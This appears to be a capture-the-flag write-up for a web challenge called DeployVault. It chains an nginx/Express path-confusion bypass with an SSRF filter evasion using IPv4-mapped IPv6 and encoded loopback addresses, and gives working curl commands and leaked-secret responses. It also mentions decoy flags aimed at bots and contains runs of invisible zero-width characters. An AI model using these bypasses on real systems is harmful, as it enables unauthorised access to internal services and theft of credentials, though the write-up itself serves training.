← Back to Writeups
HTBN/AWeb

DeployVault — Path Confusion to SSRF Chain

XESXOR8/23/20265 min read
#web#htb#n/a

DeployVault — Path Confusion to SSRF Chain

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-03 | Status: Solved Techniques: admin_endpoint_bypass_via_path_confusion, internal_service_key_leak, ipv4_mapped_ipv6_filter_bypass, path_traversal_nginx_express_desync, ssrf_via_webhook_test

Summary

Task: DeployVault deployment platform with nginx reverse proxy blocking admin endpoints and webhook tester with SSRF filter. Solution: Path confusion (/api/docs/../admin/config) bypasses nginx ACL to leak internal service credentials, then IPv4-mapped IPv6 address bypasses SSRF filter to access internal secrets endpoint.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260503_hackadvisor_deployvault
  • Tags: ssrf, path_traversal, information_disclosure, nginx, express, internal_service, webhook, reverse_proxy, path_confusion, honeypot_flag, ssrf_filter_bypass, ipv4_mapped_ipv6
  • Indicators: nginx reverse proxy blocking /api/admin/* while Express normalizes path traversal, webhook test endpoint with URL and custom headers fields, internal metadata service on localhost with header-based auth, decoy flags in HTML comments and hidden divs, nginx/Express path normalization desync
  • Source: 20260503_hackadvisor_deployvault.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_endpoint_bypass_via_path_confusion
  2. Internal_service_key_leak
  3. Ipv4_mapped_ipv6_filter_bypass
  4. Path_traversal_nginx_express_desync
  5. Ssrf_via_webhook_test
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_endpoint_bypass_via_path_confusion
  • internal_service_key_leak
  • ipv4_mapped_ipv6_filter_bypass
  • path_traversal_nginx_express_desync
  • ssrf_via_webhook_test
  • Tags: ssrf, path_traversal, information_disclosure, nginx, express, internal_service, webhook, reverse_proxy, path_confusion, honeypot_flag, ssrf_filter_bypass, ipv4_mapped_ipv6

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DeployVault is a deployment management platform used by development teams at NexusDeploy Inc. to orchestrate CI/CD pipelines, manage environment configurations, and monitor release health. The platform features a documentation portal served through a reverse proxy, webhook integrations for notifications, and a team management dashboard. Your goal is to find and read a secret stored in the platform's internal infrastructure. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A deployment management platform with nginx reverse proxy in front of Express.js backend. Admin endpoints are blocked by nginx, and a webhook tester has SSRF protections. Goal is to read secrets from an internal metadata service.

Analysis

Reconnaissance

  • Server stack: nginx/1.25.5 reverse proxy → Express.js (Node.js) backend
  • Application: DeployVault v2.4.1
  • Credentials: user@test.com / password123

Key Endpoints Discovered

EndpointPurpose
/api/docs/:filenameDocumentation fetcher
/api/integrations/webhook-testPOST — webhook URL tester (SSRF vector)
/api/adminReturns 403 + endpoint list
/api/admin/configInternal configuration (blocked by nginx)
/api/admin/usersUser list (blocked by nginx)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Important Observations

  1. The "Getting Started" documentation reveals architecture details: "Metadata Service: Internal service for configuration and secrets management"
  2. Decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden divs on every page — correctly identified and ignored
  3. The /integrations page has a "Webhook Tester" with URL and custom headers fields

Solution

Step 1: Path Confusion — Bypass Admin Endpoint Restrictions

The nginx reverse proxy blocks direct access to /api/admin/* endpoints (returns 403: "Access denied: admin endpoints are restricted"). However, nginx and Express.js process path traversal differently: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • nginx sees the raw URI /api/docs/../admin/config — it matches against /api/docs/ prefix, NOT the /api/admin/ blocking rule
  • Express.js normalizes the path to /api/admin/config and serves the response
curl -sk -b cookies.txt --path-as-is "$TARGET/api/docs/../admin/config"

Response reveals internal service configuration:

{
  "app_name": "DeployVault",
  "version": "2.4.1",
  "environment": "production",
  "services": {
    "metadata": {
      "host": "localhost",
      "port": 3001,
      "endpoints": ["/internal/health", "/internal/secrets"],
      "auth": {
        "type": "header",
        "header_name": "X-Service-Key",
        "key": "dv-sk-8f3a1b2c4d5e6f7890abcdef12345678"
      }
    },
    "database": {"type": "sqlite", "path": "/app/data/database.db"},
    "cache": {"type": "memory", "max_size": "128mb"}
  },
  "feature_flags": {"webhook_testing": true, "pipeline_scheduling": true, "env_encryption": false}
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Leaked information:

  • Internal Metadata Service at localhost:3001
  • Endpoints: /internal/health, /internal/secrets
  • Authentication: X-Service-Key: dv-sk-8f3a1b2c4d5e6f7890abcdef12345678

Step 2: SSRF Filter Bypass — IPv4-mapped IPv6 Address

The webhook test endpoint (POST /api/integrations/webhook-test) performs server-side HTTP requests but has an SSRF filter blocking internal addresses:

BlockedResult
127.0.0.1Blocked
localhostBlocked
0.0.0.0Blocked
127.1, 127.0.1Blocked
LOCALHOST, LocalhostBlocked
127.0.0.1. (trailing dot)Blocked
[::1]Bypasses filter but service not listening on IPv6
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Working bypass: IPv4-mapped IPv6 address [0:0:0:0:0:ffff:127.0.0.1]

This address represents 127.0.0.1 in IPv6 notation. The SSRF filter doesn't recognize it as a loopback address, but the OS resolves it to 127.0.0.1 when making the connection.

Other working bypasses discovered: unicode IP (①②⑦.⓪.⓪.①), URL-encoded dots (127%2e0%2e0%2e1).

Step 3: Access Internal Secrets via SSRF

Combined the SSRF bypass with the service key leaked from Step 1:

curl -sk -b cookies.txt -X POST "$TARGET/api/integrations/webhook-test" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://[0:0:0:0:0:ffff:127.0.0.1]:3001/internal/secrets",
    "headers": {"X-Service-Key": "dv-sk-8f3a1b2c4d5e6f7890abcdef12345678"}
  }'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

{
  "success": true,
  "status": 200,
  "body": {
    "master_secret": "FLAG{REDACTED}",
    "db_password": "prod-db-7Kx$mN2pQ",
    "redis_url": "redis://:authpass@10.0.3.12:6379/0",
    "jwt_signing_key": "HS256-deployvault-prod-9f8e7d6c5b4a",
    "vault_token": "hvs.CAESIGIzN2E0ZjhkLWRmMjktNDcwYi"
  }
}

Attack Chain Summary

Path Confusion                    SSRF Filter Bypass              Internal Service Access
/api/docs/../admin/config    →    IPv4-mapped IPv6 address    →   /internal/secrets + X-Service-Key
(nginx ACL bypass)                [0:0:0:0:0:ffff:127.0.0.1]     (flag retrieved)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Path Confusion: /api/docs/../admin/config bypasses nginx's /api/admin/* blocking rule due to path normalization desync between nginx and Express.js → leaks internal service configuration
  2. SSRF Filter Bypass: IPv4-mapped IPv6 address [0:0:0:0:0:ffff:127.0.0.1] bypasses the webhook tester's internal address blocklist
  3. SSRF to Internal Service: Webhook tester fetches http://[0:0:0:0:0:ffff:127.0.0.1]:3001/internal/secrets with leaked X-Service-Key header → retrieves the master secret (flag) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR